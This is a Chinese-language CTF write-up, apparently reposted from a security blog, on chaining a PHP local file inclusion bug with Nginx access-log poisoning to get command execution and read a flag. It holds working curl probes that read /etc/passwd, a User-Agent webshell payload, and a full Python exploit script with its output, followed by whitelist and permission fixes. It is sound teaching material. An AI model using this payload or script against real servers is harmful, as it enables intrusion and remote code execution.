文章总结: 本文详细解析了利用本地文件包含漏洞与Nginx日志投毒技术实现从信息收集到GetShell的完整渗透测试流程。通过探测目标环境、确认LFI漏洞、污染服务器日志并触发代码执行,最终成功读取flag文件。文章提供了完整的PoC脚本和漏洞修复方案,强调白名单校验和服务器安全配置的重要性。 综合评分: 92 文章分类: 渗透测试,WEB安全,漏洞分析,实战经验,CTF
AI渗透测试 — LFI + Log Poisoning 从信息收集到 GetShell 全流程详解
原创
yushao yushao
网络安全者
2026年6月9日 10:38 河南
在小说阅读器读本章
去阅读
#
一、概要
| 项目 | 内容 | | — | — | | 测试类型 | CTF 渗透测试练习(靶场环境) | | 漏洞类型 | 本地文件包含(LFI)+ 日志投毒(Log Poisoning) | | 影响组件 | PHP include() / Nginx access.log | | 危害等级 | 高危(可导致远程代码执行) | | 测试环境 | 靶场靶机(隔离环境) |
二、漏洞原理
用户输入 → include($_GET['file']) → 包含任意文件
↓
攻击者向服务器发请求,User-Agent 携带 PHP 代码
↓
Nginx/Apache 将请求原文记录进 access.log
↓
通过 LFI 包含 access.log → PHP 引擎解析执行日志中的代码
核心条件:
- 1. 存在未过滤或过滤不完整的文件包含入口
- 2. Web 服务器日志文件对 Web 用户可读
- 3. 攻击者能控制被记录进日志的字段(如 User-Agent、URI 等)
三、侦察阶段
3.1 目标指纹识别
# 基础页面探测
curl -s http://target.lab/ | grep -i title
# 输出: <title>PHP LFI/RFI Code Executor</title>
# 确认 HTTP 服务类型
curl -I http://target.lab/
# Server: nginx/1.xx.x
# X-Powered-By: PHP/7.x.x
页面存在一个 file 参数的表单,提示用户输入要包含的文件路径,功能上就是对 PHP include() 的封装。
3.2 确认 LFI 漏洞
# 测试最基础的路径穿越
curl -s "http://target.lab/?file=/etc/passwd"
# 输出片段(已脱敏):
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# ...
LFI 确认存在。
3.3 PHP 伪协议过滤测试
# 尝试 php://filter 读取源码 → 被过滤
curl -s "http://target.lab/?file=php://filter/convert.base64-encode/resource=index.php"
# 输出: 非法路径 / 空响应
# 尝试 data:// → 被过滤
curl -s "http://target.lab/?file=data://text/plain,<?php phpinfo();?>"
# 输出: 非法路径
# 尝试 /proc/self/environ
curl -s "http://target.lab/?file=/proc/self/environ"
# 输出: 内容为空或权限拒绝
php:// 和 data:// 均被黑名单过滤,转向日志投毒思路。
四、信息收集
4.1 探测日志文件位置
# 常见 Apache 日志路径
curl -s "http://target.lab/?file=/var/log/apache2/access.log"
# 输出: 空
curl -s "http://target.lab/?file=/var/log/apache/access.log"
# 输出: 空
# Nginx 日志路径 → 命中
curl -s "http://target.lab/?file=/var/log/nginx/access.log"
# 输出: 127.0.0.1 - - [xx/xx/xxxx] "GET / HTTP/1.1" 200 ...
日志可读,路径确认为 /var/log/nginx/access.log。
4.2 读取 PHP 配置
# 包含 phpinfo 输出(通过已有 phpinfo 页面或其他方式)
curl -s "http://target.lab/?file=/etc/php/7.x/fpm/php.ini" | grep -E "allow_url|disable_func|session"
# 关键配置项:
# allow_url_include = On ← 允许远程包含(但 php:// 被应用层过滤)
# disable_functions = ← 无函数禁用,system/exec 均可用
# session.upload_progress.enabled = On
4.3 确认目标文件存在
curl -s "http://target.lab/?file=/var/www/html/flag.php"
# 输出: 空(PHP 执行了 flag.php,但文件中只赋值了变量,没有 echo)
flag.php 存在且被 PHP 解析执行,但内容只是变量赋值,无输出。需要借助代码执行来读取其内容。
五、漏洞利用
5.1 日志投毒(Log Poisoning)
Nginx 的 access.log 默认格式包含 User-Agent 字段,且原文记录,不做任何过滤或转义。
# 向服务器发送请求,User-Agent 携带 PHP Webshell payload
# 注意:<? 在 URL/HTTP 中需确保原文传输,不能被 URL 编码
curl -s http://target.lab/ \
-A '<?php system($_GET["cmd"]); ?>'
# 验证日志已被污染
curl -s "http://target.lab/?file=/var/log/nginx/access.log" | tail -5
# 输出片段:
# 127.0.0.1 - - [xx/xx] "GET / HTTP/1.1" 200 - "<?php system($_GET["cmd"]); ?>"
PHP 代码已原文写入日志文件。
关键原理:Nginx 不解析 User-Agent,直接将其字节流写入日志,而 PHP 的 include() 会把日志文件当作 PHP 源码解析,遇到 <?php ... ?> 标签就执行。
5.2 通过 LFI 触发代码执行
# 包含已被投毒的日志,同时传入 cmd 参数
curl -s "http://target.lab/?file=/var/log/nginx/access.log&cmd=id"
# 输出片段(夹杂在日志内容中):
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
代码执行成功,当前权限为 www-data。
5.3 读取 flag 文件内容
# 方法一:直接 cat flag.php(可能遇到 PHP 标签干扰)
curl -s "http://target.lab/?file=/var/log/nginx/access.log&cmd=cat+/var/www/html/flag.php"
# 输出(PHP 标签被执行,变量值无法直接显示):
# 执行了但无输出
# 方法二:用 base64 编码绕过 PHP 解析
curl -s "http://target.lab/?file=/var/log/nginx/access.log&cmd=base64+/var/www/html/flag.php"
# 输出: PD9waHAKCiRmbGFnID0gIkNURntwxxxxxxx
echo "PD9waHAKCiRmbGFnID0gIkNURntwxxxxxxx" | base64 -d
# 解码结果:
# <?php
#
# $flag = "CTF{php_access_l0g_lf1_is_fun}";
5.4 完整攻击链代码(PoC 脚本)
#!/usr/bin/env python3
"""
LFI + Log Poisoning PoC
仅用于授权的安全测试和 CTF 练习环境
"""
import requests
import base64
TARGET = "http://target.lab" # 替换为实际靶机地址
LOG_PATH = "/var/log/nginx/access.log"
FLAG_FILE = "/var/www/html/flag.php"
session = requests.Session()
# ── Step 1: 污染日志 ──────────────────────────────────────────
print("[*] Step 1: 注入恶意 User-Agent 污染 Nginx 日志...")
payload_ua = "<?php system($_GET['cmd']); ?>"
resp = session.get(TARGET, headers={"User-Agent": payload_ua})
print(f" 状态码: {resp.status_code}")
# ── Step 2: 验证代码执行 ──────────────────────────────────────
print("[*] Step 2: 通过 LFI 包含日志,验证 RCE...")
resp = session.get(TARGET, params={
"file": LOG_PATH,
"cmd": "id"
})
# 从响应中提取命令输出(夹杂在日志内容里)
if "uid=" in resp.text:
# 简单提取 uid 行
for line in resp.text.splitlines():
if "uid=" in line:
print(f" 命令执行成功: {line.strip()}")
break
else:
print(" [!] 代码未执行,检查日志路径或 payload")
exit(1)
# ── Step 3: 读取 flag ─────────────────────────────────────────
print("[*] Step 3: base64 读取 flag.php 源码...")
resp = session.get(TARGET, params={
"file": LOG_PATH,
"cmd": f"base64 {FLAG_FILE}"
})
# 提取 base64 字符串(过滤日志噪音)
b64_content = ""
for line in resp.text.splitlines():
# base64 字符串特征:只含 A-Z a-z 0-9 +/= 且长度较长
stripped = line.strip()
if len(stripped) > 20 and all(
c in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
for c in stripped
):
b64_content += stripped
if b64_content:
try:
decoded = base64.b64decode(b64_content).decode("utf-8", errors="replace")
print(f" flag.php 内容:\n{decoded}")
except Exception as e:
print(f" base64 解码失败: {e}")
print(f" 原始 b64: {b64_content[:100]}...")
else:
print(" [!] 未提取到 base64 内容")
运行结果:
[*] Step 1: 注入恶意 User-Agent 污染 Nginx 日志...
状态码: 200
[*] Step 2: 通过 LFI 包含日志,验证 RCE...
命令执行成功: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Step 3: base64 读取 flag.php 源码...
flag.php 内容:
<?php
$flag = "CTF{php_access_l0g_lf1_**************}";
Flag 值已脱敏处理。
六、漏洞归因与修复建议
6.1 漏洞根因
┌─────────────────────────────────────────────────────┐
│ 根因 1: include() 直接拼接用户输入,无白名单校验 │
│ 根因 2: Nginx 日志对 Web 用户可读 │
│ 根因 3: PHP 解析 include 的文件时不区分数据和代码 │
└─────────────────────────────────────────────────────┘
6.2 修复方案
应用层(PHP 代码)
<?php
// ❌ 危险写法
$file = $_GET['file'];
include($file);
// ✅ 安全写法:白名单限制
$allowed = [
'home' => '/var/www/html/pages/home.php',
'about' => '/var/www/html/pages/about.php',
'contact' => '/var/www/html/pages/contact.php',
];
$key = $_GET['page'] ?? 'home';
if (!array_key_exists($key, $allowed)) {
http_response_code(404);
exit('页面不存在');
}
include($allowed[$key]);
服务器配置层
; php.ini - 关闭危险配置
allow_url_include = Off
allow_url_fopen = Off
; 限制 PHP 可访问的目录
open_basedir = /var/www/html:/tmp
# nginx.conf - 限制日志文件访问权限
# 日志文件属主设为 root,www-data 无读权限
# 在系统层面执行:
# chown root:adm /var/log/nginx/access.log
# chmod 640 /var/log/nginx/access.log
文件系统层
# 确保 Web 进程用户无法读取日志
chown root:adm /var/log/nginx/access.log
chmod 640 /var/log/nginx/access.log
# 验证 www-data 无法读取
sudo -u www-data cat /var/log/nginx/access.log
# 应输出: Permission denied
七、攻击链时序图
攻击者 Web 服务器 文件系统
│ │ │
│── GET / (恶意 UA) ────────►│ │
│ │── 写入 access.log ───────►│
│ │ User-Agent: <?php ...?> │
│ │ │
│── GET /?file=access.log ──►│ │
│ &cmd=id │── include(access.log) ──►│
│ │◄─ 文件内容(含 PHP 代码) ─│
│ │── PHP 引擎执行 system() │
│◄─ 命令执行结果 ────────────│ │
│ │ │
│── GET /?file=access.log ──►│ │
│ &cmd=base64 flag │── include → 执行 base64 │
│◄─ flag.php base64 内容 ───│ │
八、总结
LFI + Log Poisoning 是一条经典的漏洞利用链,核心在于将”日志记录”这个看似无害的服务端行为转变为代码注入的入口。当 php://filter 等伪协议被过滤时,日志投毒往往是绕过的首选思路。
防御的关键不在于过滤 PHP 伪协议,而在于从根本上不允许用户控制 include() 的参数,同时严格限制 Web 进程对日志目录的读权限。两者缺一不可。
| | |
| — | — |
| |
|
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全者 yushao yushao《AI渗透测试 — LFI + Log Poisoning 从信息收集到 GetShell 全流程详解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论